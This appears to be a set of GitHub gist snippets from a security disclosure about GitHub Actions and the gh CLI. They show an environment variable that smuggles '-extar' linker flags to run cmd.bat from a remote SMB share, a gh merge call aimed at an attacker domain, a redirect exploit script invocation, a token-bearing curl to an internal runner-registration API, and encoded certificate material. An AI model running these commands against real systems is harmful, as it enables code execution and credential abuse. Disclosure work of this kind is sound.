This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
cd script | |
go build build.go | |
cd .. | |
script\build.exe |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
echo proof > c:\projects\proof.txt |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
set GH_OAUTH_CLIENT_SECRET=something | |
set GH_OAUTH_CLIENT_ID=foobar -buildmode=c-archive -extar \\10.6.8.146\someshare\cmd.bat |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$ gh pr merge -R gcpexp.duckdns.org/something/different 123123 | |
? What merge method would you like to use? Create a merge commit | |
? What's next? Submit | |
✓ Merged pull request #123123 (whatever) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
./307.py --certificate ./fullchain.pem --private-key ./privkey.pem --pr-id PR_kwDOJu2aDs5UEC85 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$ gh pr -R irsl/pr-test list -s all --json number,id --limit 1 | |
[ | |
{ | |
"id": "PR_kwDOJu2aDs5UEC85", | |
"number": 4 | |
} | |
] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
curl -H "X-MMS-Registration-Access-Token: $token" \ | |
'https://vstsmms.actions.githubusercontent.com/serviceDeployments/mmsghubeus3/_apis/mms/pools/gheus3ub22eus2c32/machines/fv-az313-256/machineregistration?imageName=Ubuntu22&imageVersion=20230611.1&provisioning=True' \ | |
-d '"'$tokenw2'"' -H "Accept: application/json; api-version=6.0-preview" -H "Content-Type: application/json; charset=utf-8; api-version=6.0-preview" | |
{"machinePool":{"poolName":"gheus3ub22eus2c32","machineCount":424,"maxMachineCount":424,"imageName":"Ubuntu22","imageVersion":"20230611.1","state":"Ready","requestTimeout":"01:05:00","properties":{"UpdateMachinePoolImageOrchestrationId":{"$type":"System.String","$value":""},"UpdateMachinePoolImageTargetName":{"$type":"System.String","$value":""},"UpdateMachinePoolImageTargetVersion":{"$type":"System.String","$value":""},"FactoryImageReplicaCount":{"$type":"System.Int32","$value":1},"FactoryImageStorageAccountType":{"$type":"System.String","$value":"Premium_LRS"},"MachineProvisionerVersion": |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# save it to a file | |
echo MIII5AYJKoZIhvcNAQcDoIII1TCCCNECAQAxggFpMIIBZQIBADBNMDkxNzA1BgoJkiaJk/IsZAEZFidXaW5kb3dzIEF6dXJlIENSUCBDZXJ0aWZpY2F0ZSBHZW5lcmF0b3ICEF9caCdMHgq7TF6+1iLoA4UwDQYJKoZIhvcNAQEBBQAEggEAf7MwuU0SbafLEVtV5bMDv8pfpVG1Id106XYrIjvJH8Rta5g2rUdfmIfpH0H+XxMIL3nKq/JBS5Y1gseXXUo9z9jvtIv5xPZnizFtvvadeBAfzxR5r2v2hzAZvDrZJTKTBuJmb9Of/4Xi/31hds6YnmqR1Eg7X56ymsszlNfGvvm+/L1OMDFlAw83pCzytaMdNxKeG7ayMMWIfC/noBnqLZBQwxv//qhkpnGF9Mw4KG1eihJAFZb+4n2Uh5vnmtr4FqIdAo2XqJXXbNrQJeePAUf3XykZaf/foCxUeqjVGQZ129FYlgiU+fjIum+5bs26AIQciG39Ej9phH0iniHO5DCCB10GCSqGSIb3DQEHATAUBggqhkiG9w0DBwQI1NWSYmt31NOAggc4RmC2b+6LVn3WXypFXKRHIyJZlR/ZrqQ6GvhO8DQwPWqUJKK+XbYsvu5FQyUHni3xE4UnuN1xMrgQMaaetF+STgFjjIeMKaUIvwhY0l94B2K9lqQWF4ToF1cfW+0QNYqlP2vvw3n2uyP9FcmZnK5b9iGNi4yz+cJ2il1x/Xxu3j8igQdE7DgZSBZBip5QLUByPZ8aydlow9GjM2nSrIsoiqTyvkKiY4MJImYQiIPujXcDBHiC6IlZANPyhsZxEFVpcst80Itb2bh3ct63Nv3862tSFwOwT6CMmmAzN7+2TymtKzthwUtat/L7c9LbKYGW6LtAxHg1Q8s03KndA/BOerpVAaiicyTyIVngNQ6DytJjWdBRacEB77LTEloIo3f1/y50gOdCqEG+T0Xjt8cysPBb7x2iIkxzncfm3vk |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
-rw-r--r-- 1 root root 8647 Jun 14 15:35 2023-06-14T15-33-05__2.zip | |
-rw-r--r-- 1 root root 3695 Jun 17 19:11 2023-06-14T15-35-28__2-1682153733369246393.zip | |
-rw-r--r-- 1 root root 4828 Jun 14 15:33 2023-06-14T15:32:59.661149.zip | |
drwx------ 2 root root 4096 Jun 17 19:11 2023-06-17T19-11-23__1-16445388697555196722 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
-rw-r--r-- 1 root root 8430 Jun 15 09:55 2023-06-15T09-53-03__2.zip | |
-rw-r--r-- 1 root root 3544 Jun 17 19:02 2023-06-15T09-54-57__2-12093105972192111520.zip | |
-rw-r--r-- 1 root root 1826 Jun 15 09:53 2023-06-15T09:53:00.558465.zip | |
drwx------ 2 root root 4096 Jun 17 19:02 2023-06-17T19-02-32__1-14777774927537935687 |